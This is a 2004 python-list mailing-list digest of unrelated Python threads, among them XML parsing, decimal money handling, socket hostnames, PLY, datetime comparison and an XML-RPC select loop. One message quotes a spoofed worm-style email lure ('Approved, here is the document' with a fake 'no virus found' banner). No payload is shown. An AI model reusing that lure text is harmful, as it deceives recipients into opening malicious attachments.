> that's why ElementTree ships with several alternative tree builders.

by the way, it's trivial to build trees from arbitrary SAX-style sources.
just create an instance of the ElementTree.TreeBuilder class, and call
the "start", "end", and "data" methods as appropriate.

    builder = ElementTree.TreeBuilder()
    builder.start("tag", {})
    builder.data("text")
    builder.end("tag")
    elem = builder.close()

</F> 





From luismg at gmx.net  Wed Sep 29 18:41:29 2004
From: luismg at gmx.net (Neuruss)
Date: 29 Sep 2004 15:41:29 -0700
Subject: List comprehensions performance
Message-ID: <278de0e.0409291441.4ef0a859@posting.google.com>

I have a doubt regarding list comprehensions:
According to Mark Lutz in his book Learning Pyhon:

"...there is currently a substantial performance advantage to the
extra complexity in this case: based on tests run under Python 2.2,
map calls are roughly twice as fast as equivalent for loops, and list
comprehensions are usually very slightly faster than map. This speed
difference owes to the fact that map and list comprehensions run at C
language speed inside the interpreter, rather than stepping through
Python for loop code within the PVM."

but I also read in Python Performance Tips by Skip Montanaro that
Lists comprehensions are not generally faster than the for loop
version.

What I'd like to know is if using list comprehensions would give me a
performance advantage over traditional for loops or not.
I'm getting fond of list comprehensions, but I wonder if it's wise to
abuse of them...


From uthand at hotmail.com  Wed Sep 15 08:15:31 2004
From: uthand at hotmail.com (Fritz Bosch)
Date: 15 Sep 2004 05:15:31 -0700
Subject: up with PyGUI!
References: <mailman.3318.1095180577.5135.python-list@python.org>
	<m3vfeg69xp.fsf@g2ctech.com> <2qq5adF133c5kU1@uni-berlin.de>
Message-ID: <cf038e65.0409150415.6cbc9787@posting.google.com>

Greg Ewing <greg at cosc.canterbury.ac.nz> wrote:
...
> There wouldn't be much to see in the screenshots anyway.
> On a Mac it looks like anything else does on a Mac, and
> on Linux or Windows it (currently) looks like anything
> else that uses Gtk.

Being built with PyGUI using Gtk using Gimp, does my
application become subject to the GPL?

Fritz


From chotty at freenet.de  Thu Sep 30 13:41:42 2004
From: chotty at freenet.de (Christian Otteneuer)
Date: Thu, 30 Sep 2004 19:41:42 +0200
Subject: [Zope] How to filter and sort  PropertyObjects from ZCatalog
References: <cjhg0b$2tdb$1@news.uni-koblenz.de>
Message-ID: <cjhggr$2upq$1@news.uni-koblenz.de>

> Now, I want to filter out all PropertyObjects, which have 'priority == 0'

For the 'filter problem', I found a possibility:

result = (map( lambda brain: brain.getObject(),
         filter(lambda x: x.getObject().getProperty('priority')>0,
         container.Catalog.searchResults())))

Stays the 'sort problem'... 




From listserver at tdw.net  Wed Sep  8 14:17:26 2004
From: listserver at tdw.net (Tim Williams)
Date: Wed, 8 Sep 2004 19:17:26 +0100
Subject: Machine identification   
References: <ed89f8f2.0409072251.2152c22b@posting.google.com><slrncju9df.8jt.hat@se-126.se.wtb.tue.nl><1gjt2sn.1mxhb1n12y29cuN%aleaxit@yahoo.com><mailman.3041.1094661030.5135.python-list@python.org><1gjt4u3.qme0dh1ucx3ybN%aleaxit@yahoo.com>
	<loom.20040908T193032-653@post.gmane.org>
Message-ID: <000401c495d0$182683d0$ccbefea9@twilliams>

On Wed, 8 Sep 2004 12:59:57 -0500, Greg Lindstrom
<greg.lindstrom at novasyshealth.com> wrote:
> How can I get the name (or ip) of the machine where my python script is
> running?  I'd like to add it to my log entry.


import socket

print socket.gethostname()
print socket.getfqdn()

this_host = socket_gethostname()
print socket.gethostbyname(this_host)

# the following will give several IP addresses if you are
#multi-homed

print socket.gethostbyname_ex(this_host)



From bokr at oz.net  Thu Sep 23 16:24:35 2004
From: bokr at oz.net (Bengt Richter)
Date: 23 Sep 2004 20:24:35 GMT
Subject: Why not FP for Money?
References: <mailman.3721.1095866067.5135.python-list@python.org>
	<mailman.3775.1095939700.5135.python-list@python.org>
	<Xns956D83A8D1E7duncanrcpcouk@127.0.0.1>
	<mailman.3781.1095942759.5135.python-list@python.org>
	<civ705$4kl$1@panix1.panix.com>
	<mailman.3809.1095967700.5135.python-list@python.org>
Message-ID: <civbe3$14n$0$216.39.172.122@theriver.com>

On Thu, 23 Sep 2004 16:27:29 -0300, Carlos Ribeiro <carribeiro at gmail.com> wrote:

>On 23 Sep 2004 15:08:53 -0400, Aahz <aahz at pythoncraft.com> wrote:
>> Not sure of precise syntax (haven't tried 2.4 yet), but this should
>> work:
>> 
>>     a = decimal.from_float(35.72)
>
>I have downloaded 2.4, but couldn't install it yet. But the release
>notes states that, after long discussions, support for
>Decimal.from_float() was removed from the release, due to people being
>unable to reach a consensus on the precision to be used in the
>conversion.
>
>The problem is (to put it really simply) that 35.72 isn't really 35.72, it is:
>
>32.719999999999999
>
>What should from_float do? Truncate it to 2 digits isn't possible --
>the fact that the literal was written with two digits was lost in the
>innards of the lexical analyzer long before from_float() is called.
>And to represent it internally as 32.719999999999999 will cause
>surprises for most people; but to truncate it arbitrarily is also
>problematic. So it was removed (that's what the release notes states,
>anyway)
What I did in my exact decimal toy was mandate a rounding position parameter
(or 'all' which captures all available bits of the fp value):

 >>> from ut.exactdec import ED
 >>> ED(35.72, 2)
 ED('35.72')
 >>> ED(35.72, 6)
 ED('35.72')
 >>> ED(35.72, 'all')
 ED('35.719999999999998863131622783839702606201171875')
 >>> ED(35.72, 17)
 ED('35.71999999999999886')
 >>> ED(35.72, 16)
 ED('35.7199999999999989')
 >>> ED(35.72, 15)
 ED('35.719999999999999')
 >>> ED(35.72, 14)
 ED('35.72')

Or you can specify the number with a string literal
 ED('35.72')
 >>> ED('3.572e1')
 ED('35.72')

Interally it's represented as rational number with a decimal exponent factor,
i.e., (numerator, denominator, powerof_10)

 >>> ED('3.572e1').astuple()
 (3572, 1, -2)

>
>A native Money type, either with the $ signal ($35.72) or the suffix
>(35.72D) would not present the same issues, because the literal would
>be converted directly to the fixed point representation without the
>float intermediate step.
>
Hm, I see that D is a little too close to 0. Maybe 35.72d is easier to read,
(unlike lower case L for longs).

Regards,
Bengt Richter


From claird at lairds.us  Thu Sep 30 17:08:29 2004
From: claird at lairds.us (Cameron Laird)
Date: Thu, 30 Sep 2004 21:08:29 GMT
Subject: Social Analysis and Modeling for Python
References: <415AD6A4.7000400@cloudthunder.com>
	<mailman.4096.1096482802.5135.python-list@python.org>
	<4abs22-p18.ln1@lairds.us> <2s2q4uF1fcanvU1@uni-berlin.de>
Message-ID: <sv6u22-r3k.ln1@lairds.us>

In article <2s2q4uF1fcanvU1 at uni-berlin.de>, val <val at vtek.com> wrote:
			.
			.
			.
>well, 'If this were my proposal, I'd aim for the far more powerful,'
>"In addition to conventional wisdom, Python may be considered as
>a unique *science tool* providing an opportunity (1) *to build models
>programmatically* - using online experimental data, data-driven
>techniques, and databases integrated with the models, (2) to keep
>the models in a dynamic format available for online analysis,
>testing, and updating.  Such online science/reasoning tools may as well be a
>unique
>communication vehicle among scientists speeding up drastically
>understanding complex/data-intensive phenomena such as genome dynamics,
>social processes, terror networks, industrial dynamics, etc."
>
>
>

Hear, hear!  Well-done.


From alban at magproductions.nl  Tue Sep 28 10:20:04 2004
From: alban at magproductions.nl (Alban Hertroys)
Date: Tue, 28 Sep 2004 16:20:04 +0200
Subject: QuotedString must be str? (psycopg)
Message-ID: <cjbruk$76p$1@netlx020.civ.utwente.nl>

I noticed this:

 >>> from psycopg import *
 >>> print QuotedString(u"Unicode string")
Traceback (most recent call last):
   File "<stdin>", line 1, in ?
TypeError: argument 1 must be str, not unicode


Is it possible somehow to use a unicode string, or would I have to 
escape the strings with my own function (not really a problem, I did 
that before I found out QuotedString exists, but it seems a tad ugly...).

Alban.


From mauriceling at acm.org  Sun Sep 19 19:12:32 2004
From: mauriceling at acm.org (Maurice LING)
Date: Sun, 19 Sep 2004 23:12:32 GMT
Subject: Using PLY
In-Reply-To: <414acb08$0$2413$61ce578d@news.syd.swiftdsl.com.au>
References: <414a6ca1$1@news.unimelb.edu.au>
	<414acb08$0$2413$61ce578d@news.syd.swiftdsl.com.au>
Message-ID: <414e125c$1@news.unimelb.edu.au>

> 
> PLY can do much more then line counting. Build an AST then just count 
> your IF tokens. If you can use ply to recognise your if tokens, then you 
> can easility count them.

How do I build an AST with PLY? I'm trying to find some examples of that 
but unsuccessful.

> 
> It's kinda vague what you are wanting to do ? Is it source code you are 
> parsing or text with keywords ?
> 

I'm trying to parse what looks like a 4GL source code.


From cbbrowne at acm.org  Fri Sep  3 09:41:48 2004
From: cbbrowne at acm.org (Christopher Browne)
Date: 3 Sep 2004 13:41:48 GMT
Subject: Xah Lee's Unixism
References: <1gj5eeq.gb3dk41wup9zwN%otto.wyss@orpatec.ch>
	<87hdqptl96.fsf_-_@thalassa.informatimago.com>
	<4PGdnfsOfdDPi63cRVn-tA@speakeasy.net>
	<slrncj1745.t5q.amajorel@atc5.vermine.org>
	<41337FC9.8070902@hotmail.com>
	<slrncj7hhh.2pt.amajorel@atc5.vermine.org>
	<p7v7j0plcfbden593l1irfprmfkp4d3k51@4ax.com>
	<slrncj8m5n.2pt.amajorel@atc5.vermine.org>
	<%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net>
	<2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com>
	<opsdpdzglzpqzri1@mjolner.upc.no>
	<slrncjep0f.oa.amajorel@vulcain.knox.com>
Message-ID: <2prakrFoba1kU1@uni-berlin.de>

After a long battle with technology, Andre Majorel <amajorel at teezer.fr>, an earthling, wrote:
> On 2004-09-02, John Thingstad <john.thingstad at chello.no> wrote:
>
>> The fact that the NT kernel is not entirely stable yet really
>> shouldn't supprise anyone. Afterall Unix has messed with it's
>> kernel for 30 years.
>
> I feel compelled to point out that Linux achieved considerably
> better stability after just a few years.

Perhaps, but Linus and crew didn't have to start from not knowing what
Unix "ought" to look like, and had the perspective of being able to
look back at 20-odd years of the things that went well and badly with
Unix.
-- 
select 'cbbrowne' || '@' || 'acm.org';
http://www3.sympatico.ca/cbbrowne/nonrdbms.html
If at  first you don't  succeed, try duct  tape. If duct  tape doesn't
work, give up.


From martin at v.loewis.de  Thu Sep  9 14:45:05 2004
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Thu, 09 Sep 2004 20:45:05 +0200
Subject: Compiling Python 2-3.4 on Tru64 UNIX V4.0F
In-Reply-To: <3035f851.0409090830.6bf21074@posting.google.com>
References: <mailman.2984.1094572951.5135.python-list@python.org>
	<413dffc2$0$13052$9b622d9e@news.freenet.de>
	<3035f851.0409090830.6bf21074@posting.google.com>
Message-ID: <4140A4B1.4000204@v.loewis.de>

Unixtrekkor wrote:
> I downloaded another copy and now when I compile I see the following
> message:
> 
> cc: Error: ./Modules/posixmodule.c line 3007:  In this
> statement,"getgrp" expects 0 arguments, but 1 are supplied. 
> (toomanyargs)
>          return PyInt_FromLong((long)getgrp(0));
> ---------^
> cc: Error: ./Modules/posixmodule.c line 3024:  In this
> statement,"setgrp" expects 0 arguments, but 2 are supplied. 
> (toomanyargs)
>          if (setgrp(0, 0) < 0)
> -------------^
> *** Exit 1
> Stop.
> 
> I am looking for the format of the getgrp and setgrp commands.  Thanks
> for your help.

As a work-around, you could edit pyconfig.h, and remove the
mentioning of HAVE_GETPGRP and HAVE_SETPGRP. Then, these wrappers
won't get compiled.

Regards,
Martin


From len-1 at telus.net  Mon Sep 13 14:47:27 2004
From: len-1 at telus.net (Lenard Lindstrom)
Date: Mon, 13 Sep 2004 18:47:27 GMT
Subject: the FCNTL module is deprecated
References: <4oidneSCbKpfLNjcRVn-iw@adelphia.com>
	<QcGdncYR7p6SWNjcRVn-ug@adelphia.com>
Message-ID: <656it3cb.fsf@telus.net>

Rob McCrea <robmccrea at spaamadelphiaspremoveam.net> writes:

> I wrote:
> 
> > Hi all,
> > On windows98SE, running Python 2.3.4 (#53, May 25 2004, 21:17:02)
> > [MSC v.1200 32 bit (Intel)] on win32, the built-in help() function
> > gives me
> > a deprecation warning when used on my docstrings.
> > just help() start the interactive help without error.
> > Heres some minimalistic code to demonstrate this warning:
> 
> My code wasn't the minimum, i guess its not my docstrings:
> 
> """start testhelp.py"""
> 
> class Object:
>      def __init__(self):
>          pass
> 
> help(Object)
> 
> """end testhelp.py"""
> 
>   > C:\PYTHON23\lib\fcntl.py:7: DeprecationWarning: the FCNTL module is
> > deprecated;
> > please use fcntl
> >   DeprecationWarning)
> > Help on class Object in module __main__:
> > class Object
> >  |  class Object is an empty testing class
> >  |
> >  |  Methods defined here:
> >  |
> >  |  __init__(self)
> > """end output"""
> > I'm not particularly concerned with it, just being a warning which I
> > might be able to suppress with python.exe parameters, but if anyone
> > knows how to fix it, I'd like to fix it.  I also had the same
> > warning in 2.3.3, which lead me to upgrading which searching for a
> > solution.  I tried deleting all .pyc from my python\Lib directory,
> > to no avail.  I am new, am I missing a step in using help()?
> 
I am running Windows 98 and do not get the deprecation warning. After
some searching I chased the problem down to the PYTHONCASEOK environment
variable, which is not defined on my system.

C:\prg\Python23>python -V
Python 2.3.3

C:\prg\Python23>python helptest.py

Help on class Object in module __main__:

class Object
 |  Methods defined here:
 |
 |  __init__(self)


C:\prg\Python23>type helptest.py
"""start testhelp.py"""

class Object:
     def __init__(self):
         pass

help(Object)

"""end testhelp.py"""

C:\prg\Python23>set PYTHONCASEOK=1

C:\prg\Python23>python helptest.py
C:\PRG\PYTHON23\lib\fcntl.py:7: DeprecationWarning: the FCNTL module is deprecat
ed; please use fcntl
  DeprecationWarning)

Help on class Object in module __main__:

class Object
 |  Methods defined here:
 |
 |  __init__(self)

Lenard Lindstrom
<len-l at telus.net>


From guettli at thomas-guettler.de  Wed Sep 15 11:20:53 2004
From: guettli at thomas-guettler.de (Thomas Guettler)
Date: Wed, 15 Sep 2004 17:20:53 +0200
Subject: up with PyGUI!
References: <mailman.3318.1095180577.5135.python-list@python.org>
	<m3vfeg69xp.fsf@g2ctech.com> <2qq5adF133c5kU1@uni-berlin.de>
	<cf038e65.0409150415.6cbc9787@posting.google.com>
Message-ID: <pan.2004.09.15.15.20.53.238558@thomas-guettler.de>

Am Wed, 15 Sep 2004 05:15:31 -0700 schrieb Fritz Bosch:

> Greg Ewing <greg at cosc.canterbury.ac.nz> wrote:
> ...
>> There wouldn't be much to see in the screenshots anyway.
>> On a Mac it looks like anything else does on a Mac, and
>> on Linux or Windows it (currently) looks like anything
>> else that uses Gtk.
> 
> Being built with PyGUI using Gtk using Gimp, does my
> application become subject to the GPL?

Hi,

Gtk does not use Gimp. Gimp uses Gtk.
And Gtk is AFAIK LGPL. You can use
Gtk and pyGTK in your commercial application.

Regards,
 Thomas


From __peter__ at web.de  Wed Sep 22 14:48:13 2004
From: __peter__ at web.de (Peter Otten)
Date: Wed, 22 Sep 2004 20:48:13 +0200
Subject: namespace/dictionary quandry
References: <mailman.3474.1095464076.5135.python-list@python.org>
	<cigt4h$mrf$05$1@news.t-online.com>
	<mailman.3584.1095704635.5135.python-list@python.org>
	<cioj7k$o6$02$1@news.t-online.com>
	<mailman.3726.1095870077.5135.python-list@python.org>
	<1gkj42v.16ivchn5zt970N%aleaxit@yahoo.com>
	<mailman.3734.1095876139.5135.python-list@python.org>
Message-ID: <cishdd$eaa$03$1@news.t-online.com>

Jack Carter wrote:

>> class WeirdNamespace:
>>     def __init__(self, d): self.d = d
>>     def __getitem__(self, n): return self.d.get(n,repr(n))
> 
> So, how and or where does this fit in with my example?
> Does both the call to the function where I want to do
> the eval() and self.push(line) command have to be in the
> same namespace and or file for this to work?

I use a slight variation of Alex' suggestion:

class Locals(dict):
    def __getitem__(self, name):
        try:
            return dict.__getitem__(self, name)
        except KeyError:
            return name
 
class CLI(code.InteractiveConsole):
    """Simple test of a Python interpreter augmented with custom
commands."""

    commands = { \
        "attach" : "DoAttach"
        }

    def __init__(self, locals = None):

        # Call super-class initializer
        code.InteractiveConsole.__init__(self, locals, "<console>")
        self.locals = Locals(self.locals)

        # Compile regular expression for finding commmands
        self.regexp = re.compile('[a-z]*')

[The rest of the code is the same as in my previous post] 

Now try it:

>>> for name in "abc":
fed to the snake: for name in "abc":
...     attach name
fed to the snake:       myparse.DoAttach([name])
...     attach noname
fed to the snake:       myparse.DoAttach([noname])
...
fed to the snake:
DoAttach: ['a']
DoAttach: ['noname']
DoAttach: ['b']
DoAttach: ['noname']
DoAttach: ['c']
DoAttach: ['noname']

Unfortunately this will only work with Python 2.4.

Here's a solution that might work for 2.3:

[Does not require the above modifications]

    def process(self, line):
        indent = line.lstrip()
        # Attempt to match line against our command regular expression

        temp_line = string.lstrip(line)
        len_1 = len(line)
        len_2 = len(temp_line)

        white_spaces = len_1-len_2
        if white_spaces:
            front_padding = line[0:white_spaces]

        match = self.regexp.match(temp_line)
        if match is not None:

            #self.write("process 1\n")
            # Extract the command and argument strings
            cmd_string = match.group()
            arg_string = string.lstrip(temp_line[match.end():])

            # Find the function for this command in the command dictionary
            function = self.commands.get(cmd_string)

            if function is not None:

                args = parseArgs(arg_string)
                for arg in args:
                    if arg not in self.locals:
                        self.locals[arg] = arg
                line = makePythonCall("myparse." + function, args)
                if white_spaces:
                    line = front_padding + line
        print "fed to the snake:", line

        # Return the line to be processed by Python
        return line

I just ensure that all arguments not already in self.locals are added with
their name as their value. (I also renamed 'parent' to 'self' - I could not
stand it any longer :-)

Note that I don't particularly like both hacks and would rather use plain
old python functions with standard python syntax instead of your custom
language.


Peter






From bdash at gmx.net  Mon Sep  6 19:13:11 2004
From: bdash at gmx.net (Mark Rowe)
Date: Tue, 7 Sep 2004 11:13:11 +1200
Subject: has anyone done a blog or forum engine in python?
In-Reply-To: <e84f5d12.0409060445.73d6cffd@posting.google.com>
References: <e84f5d12.0409060445.73d6cffd@posting.google.com>
Message-ID: <523D26AA-005A-11D9-9CFC-000A95D05654@gmx.net>


On Sep 7, 2004, at 12:45 AM, googleboy wrote:

> I am looking at implementing a blog and a forum for a personal
> website.  I am also beginning to look at growing my programming skills
> from newbie/mediocre to intermedaitely servicable and want to continue
> doing this focussing on python.

I've recently developed a Python-based blogging system named Snurf  
(<http://bdash.bluewire.net.nz/2004/08/02/snurf-a-python-based- 
blogging-system/>).  I've tried to KISS when writing Snurf as my  
previous attempts along similar lines have ended up being  
over-engineered.  The current version uses the file system as the data  
store, but it is designed so that adding, eg. a database backend,  
should be relatively simple.

While I have not officially "released" Snurf yet, the source code is  
available from my Subversion repository at  
<http://bdash.bluewire.net.nz/svn/snurf/trunk/>.  See  
<http://bdash.bluewire.net.nz/2004/08/28/snurf-source-available-via- 
subversion/> for more information on obtaining the source.

Regards,

Mark Rowe



From http  Mon Sep  6 15:10:59 2004
From: http (Paul Rubin)
Date: 06 Sep 2004 12:10:59 -0700
Subject: Secure delete with python
References: <pan.2004.09.06.13.01.15.399532@REMOVE_mindless_ME.com>
Message-ID: <7xeklfw6v0.fsf@ruckus.brouhaha.com>

Boris Genc <boris.genc at REMOVE_mindless_ME.com> writes:
> I'm interested in something which is able to securely wipe data (from
> single file to bunch of MB's), and that should run both on Linux and
> Windows.

I wrote something like that:

   http://www.nightsong.com/phr/crypto/keytree.py

Explanation at:  http://tinyurl.com/67beu


From Scott.Daniels at Acm.Org  Sun Sep 12 17:25:55 2004
From: Scott.Daniels at Acm.Org (Scott David Daniels)
Date: Sun, 12 Sep 2004 14:25:55 -0700
Subject: Lua versus C++ for embedded processor
In-Reply-To: <v46e12-inc.ln1@lairds.us>
References: <mailman.369.1074114471.12720.python-list@python.org>
	<45c5d645cae78c97a5caad9e821d5a5c@localhost.talkaboutprogramming.com>
	<v46e12-inc.ln1@lairds.us>
Message-ID: <4144c3c6$1@nntp0.pdx.net>

Cameron Laird wrote:

> ....  Yes, Lua implementation is, from all my experience, an
> order of magnitude than the corresponding Perl effort.

While this is a strange topic for c.l.p, I _am_ curious what this
sentence meant to say. Perhaps: "order of magnitude less work than"?

-Scott David Daniels
Scott.Daniels at Acm.Org



From indigo at bitglue.com  Thu Sep 16 19:04:37 2004
From: indigo at bitglue.com (Phil Frost)
Date: Thu, 16 Sep 2004 19:04:37 -0400
Subject: All together now, I'm a lumberjack
In-Reply-To: <cid579$uds$1@newsg2.svr.pol.co.uk>
References: <cid579$uds$1@newsg2.svr.pol.co.uk>
Message-ID: <20040916230437.GA18890@unununium.org>

I don't know about any python tools specifically, but if you are looking
to typeset music, be sure to look at the supurb and free lilypond
<http://www.lilypond.org/web/>.

On Thu, Sep 16, 2004 at 11:49:45PM +0100, M. Clift wrote:
> Hi All,
>
> Does anyone know of any python stuff related to music notation for windows?
> I'd eventually like to write some sort of notation program myself, but I am
> at a loss at knowing where to start.
>
> Would anyone know, do all notation programs work in a similar way to display
> music, and could someone give me an idea as to how they go about it.
>
> Thanks
>
>
> --
> http://mail.python.org/mailman/listinfo/python-list


From google_groups at theginnfamily.net  Tue Sep 21 12:02:40 2004
From: google_groups at theginnfamily.net (Aaron Ginn)
Date: Tue, 21 Sep 2004 09:02:40 -0700
Subject: Python as alternative to Visual Basic
In-Reply-To: <cin0d0$ani$1@avnika.corp.mot.com>
References: <cin0d0$ani$1@avnika.corp.mot.com>
Message-ID: <cipi5g$irq$1@avnika.corp.mot.com>

I just want to thank everyone who has responded thus far.  It seems like 
Python will do what I require in terms of its COM interoperability. 
That's very good news!  WxPython sounds like my best alternative to 
creating a cross-platform interface with what appears to be a nice 
Windows look and feel.  That's something I'll definately investigate.

Thanks,
Aaron


From lbates at swamisoft.com  Mon Sep 13 17:52:36 2004
From: lbates at swamisoft.com (Larry Bates)
Date: Mon, 13 Sep 2004 16:52:36 -0500
Subject: PIL - setting the width of lines in ImageDraw
References: <4145fc21$0$273$edfadb0f@dread12.news.tele.dk><eJCdnTShe4h9YNjcRVn-ug@comcast.com>
	<mailman.3265.1095107443.5135.python-list@python.org>
Message-ID: <oYadnekC_MYBi9vcRVn-pw@comcast.com>

There's nothing wrong with "slanted" rectangles.
In PIL you just define upper left and lower right
coordinates of the rectangle in pixels.  That's
what a thick line would do anyway.

Larry Bates
Syscon, Inc.

"Erik Heneryd" <erik at heneryd.com> wrote in message
news:mailman.3265.1095107443.5135.python-list at python.org...
> Larry Bates wrote:
> > When you want lines wider than 1px you are actually
> > drawing rectangles with fillcolor set to the line
> > color.  There is a drawrectangle method.
>
> Ever tried to draw a /slanted/ line?
>
>
> Erik




From m.h.3.9.1.without.dots.at.cam.ac.uk at example.com  Wed Sep 29 02:42:42 2004
From: m.h.3.9.1.without.dots.at.cam.ac.uk at example.com (Michael Hoffman)
Date: Wed, 29 Sep 2004 07:42:42 +0100
Subject: annoying behavior
In-Reply-To: <9418be08.0409282010.6996584@posting.google.com>
References: <9418be08.0409280856.9368ddf@posting.google.com>
	<cjc61h$ag0$1@news2.wdf.sap.corp>
	<9418be08.0409281438.25e2abe@posting.google.com>
	<cjcqao$ji0$1@gemini.csx.cam.ac.uk>
	<9418be08.0409282010.6996584@posting.google.com>
Message-ID: <cjdlh7$blv$1@gemini.csx.cam.ac.uk>

Elbert Lev wrote:
> Michael Hoffman <m.h.3.9.1.without.dots.at.cam.ac.uk at example.com> wrote in message news:<cjcqao$ji0$1 at gemini.csx.cam.ac.uk>...
> 
>>Can you post the results of your PyChecker run and the exact input to it?
> 
> Here it is:
> 
> Processing test...
> C:\Python23\python.exe
> C:\Python23\Lib\site-packages\pychecker\checker.py
>  test.py
>   Caught exception importing module test:
>     File "C:\Python23\Lib\site-packages\pychecker\checker.py", line
> 576, in setupMainCode()
>       module = imp.load_module(self.moduleName, file, filename, smt)
>     File "test.py", line 16
>       f = foo("1234")
>     File "test.py", line 5, in __init__()
>       self.f()
>     File "test.py", line 9, in f()
>       if self.r:
>   AttributeError: foo instance has no attribute 'r'
> 
> Warnings...
> 
> test:1: NOT PROCESSED UNABLE TO IMPORT
 >
>>I think that what you want the Python compiler to do is harder than you 
>>think it is, and not all cases will be caught unless you actually run 
>>the program. 

If you noticed from the output, PyChecker is testing your testcase by 
actually *running the code.* If you just ran python test.py you would 
have found the error just as quickly. If you ran PyChecker on my 
testcase, or the original code that caused you problems (I'm guessing) 
you wouldn't have found it.

> Sure not all!

How would you propose an algorithm that will find the majority of these 
cases without running the code? I am claiming that this is nontrivial; 
you are claiming that it is not, so you should provide an indication of 
how this would be done.

> Isn't this what Python is about - fast and fun programming, not
> frustration.

Yeah, but sometimes it's impossible

> After all, if I want troubles, I always can use C or Java
> :))

Yeah, but Python is not a silver bullet.
-- 
Michael Hoffman


From adurdin at gmail.com  Tue Sep 14 21:18:47 2004
From: adurdin at gmail.com (Andrew Durdin)
Date: Wed, 15 Sep 2004 11:18:47 +1000
Subject: comparing datetime with date
In-Reply-To: <1f7befae04091414167f3b37d4@mail.gmail.com>
References: <ci6m1f$goq$1@sea.gmane.org>
	<1f7befae04091414167f3b37d4@mail.gmail.com>
Message-ID: <59e9fd3a04091418183f344376@mail.gmail.com>

On Tue, 14 Sep 2004 17:16:58 -0400, Tim Peters <tim.peters at gmail.com> wrote:
> [Donnal Walter]
> > I was very surprised to discover that
> >
> > >>> import datetime
> > >>> x = datetime.date(2004, 9, 14)
> > >>> y = datetime.datetime(2004, 9, 14, 6, 43, 15)
> > >>> print x == y
> > True
> >
> > How can these two objects be considered equal?
> 
> They should not be.  Please open a bug report.  The problem is due to that
> datetime.datetime is a subclass of datetime.date:

Why should this be considered a bug? In my conception, a datetime.date
covers the whole range of times within the date, so that this equality
makes sense. It also allows for intuitive inequality comparisons
between datetime.datetime and datetime.date.

To make that more clear, it makes sense to me that comparisons between
datetime.datetime and datetime.date should only compare the date part,
and those between datetime.datetime and datetime.time should only
compare the time part. This latter however throws an exception; I
infer from that that the 'pythonic' way is to explicitly make a
datetime.date or datetime.time from the datetime.datetime before
comparing. So I guess I've answered my own question :)


From lucrecia_oliveira at yahoo.com.br  Thu Sep  9 14:14:52 2004
From: lucrecia_oliveira at yahoo.com.br (lucrecia_oliveira at yahoo.com.br)
Date: Thu, 9 Sep 2004 11:14:52 -0700 (PDT)
Subject: =?iso-8859-1?q?Resposta_autom=E1tica_do_Yahoo!?=
Message-ID: <20040909181454.42A3D1E4009@bag.python.org>

Obrigado por responder....fico muito feliz por isso adoro todos...Beijos da l?.

--------------------


Original Message:


X-Rocket-Spam: 200.103.29.57
X-YahooFilteredBulk: 200.103.29.57
X-Rocket-Track: 10: 20 ; SFLAG=OPENRELAY ; IPCR=g-w0,n0,g100 ; IP=200.103.29.57 ; SERVER=66.163.174.34
X-Originating-IP: [200.103.29.57]
Return-Path: <python-list at python.org>
Received: from 200.103.29.57  (EHLO yahoo.com.br) (200.103.29.57)
  by mta106.mail.sc5.yahoo.com with SMTP; Thu, 09 Sep 2004 11:14:52 -0700
From: python-list at python.org
To: lucrecia_oliveira at yahoo.com.br
Subject: Your information
Date: Thu, 9 Sep 2004 15:13:28 -0300
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0016----=_NextPart_000_0016"
X-Priority: 3
X-MSMail-Priority: Normal

This is a multi-part message in MIME format.

------=_NextPart_000_0016----=_NextPart_000_0016
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit


Approved, here is the document.


+++ X-Attachment-Type: document
+++ X-Attachment-Status: no virus found
+++ Powered by the new F-Secure OnlineAntiVirus
+++ Visit us
_________________________________________________________
DO YOU YAHOO!?
Get your free @yahoo.com address at http://mail.yahoo.com



From narshe at gmail.com  Mon Sep 20 15:16:50 2004
From: narshe at gmail.com (Josh Close)
Date: Mon, 20 Sep 2004 14:16:50 -0500
Subject: pipe command to script
Message-ID: <4a0cafe204092012162263aee6@mail.gmail.com>

How can I read input from stdin pipe from somewhere?

ex:
# echo hello | script.py

I was thinking opening file() or popen() with sys.stdin, but that
didn't work. I've done this before but don't have the code anymore and
can't figure it out again.

Thanks.

-Josh


From hercules.rockefeller at springfield.??.us  Tue Sep 28 07:48:40 2004
From: hercules.rockefeller at springfield.??.us (Rembrandt Q Einstein)
Date: Tue, 28 Sep 2004 07:48:40 -0400
Subject: SimpleXMLRPCServer
In-Reply-To: <mailman.3989.1096338586.5135.python-list@python.org>
References: <Ek%5d.3512$MD5.341163@news20.bellglobal.com>	<mNqdnZDKF9l9CMXcRVn-jw@giganews.com>	<mailman.3983.1096327706.5135.python-list@python.org>	<Zp26d.9950$XC.4714@trndny08>
	<mailman.3989.1096338586.5135.python-list@python.org>
Message-ID: <scc6d.10$Za.8@llslave.llan.ll.mit.edu>

Jeremy Jones wrote:
> PhysicsGenius wrote:
> 
>> Jeremy Jones wrote:
>>
>>> Istvan Albert wrote:
>>>
>>>> Yannick Turgeon wrote:
>>>>
>>>>> "Simple". What are its limitations? 
>>>>
>>>>
>>>>
>>>>
>>>>
>>>> No limitations whatsoever ...  it is "Simple" to use
>>>>
>>>> :-0
>>>>
>>>> Istvan.
>>>>
>>> Simple indeed.  I don't know for sure the reasons for naming it 
>>> "Simple".  But it may have to do with the fact that the 
>>> out-of-the-box SimpleXMLRPCServer will only handle one request at a 
>>> time: a request comes in, the server accepts that request, blocking 
>>> until the method call returns, and the response is sent back to the 
>>> client.  It does not spawn a thread per request.  It does not 
>>> "select" among multiple requests.  It will not create a thread pool 
>>> for you.  If you want that added functionality, you can write a 
>>> little custom code to get it to spawn a thread per request.  A little 
>>> more code to only spawn n number of threads.  A little more code 
>>> still to create a thread pool.  And if you want a server that 
>>> "select"s among multiple requests, I'm not 100% sure, but I bet 
>>> Twisted has one of those.
>>
>>
>>
>> I have a non-threaded, select()ing SimpleXML-RPC server.  I have 
>> stressed it yet, but I have verified that the concept works.
> 
> 
> Is this something that you wrote, or are you using Twisted?  If it's 
> something you wrote, I'd love to see the code for it.
> 
> Jeremy
> 

Maybe "server" is too grand a term.  This is running inside an actual 
server, but this is really just a snippet of code for doing select() on 
an XML-RPC server socket.

server = XMLRPCServer.XMLRPCServer((ipAddr, port), logRequests=False)
while(True):
     inputs, outputs, exceptions = 
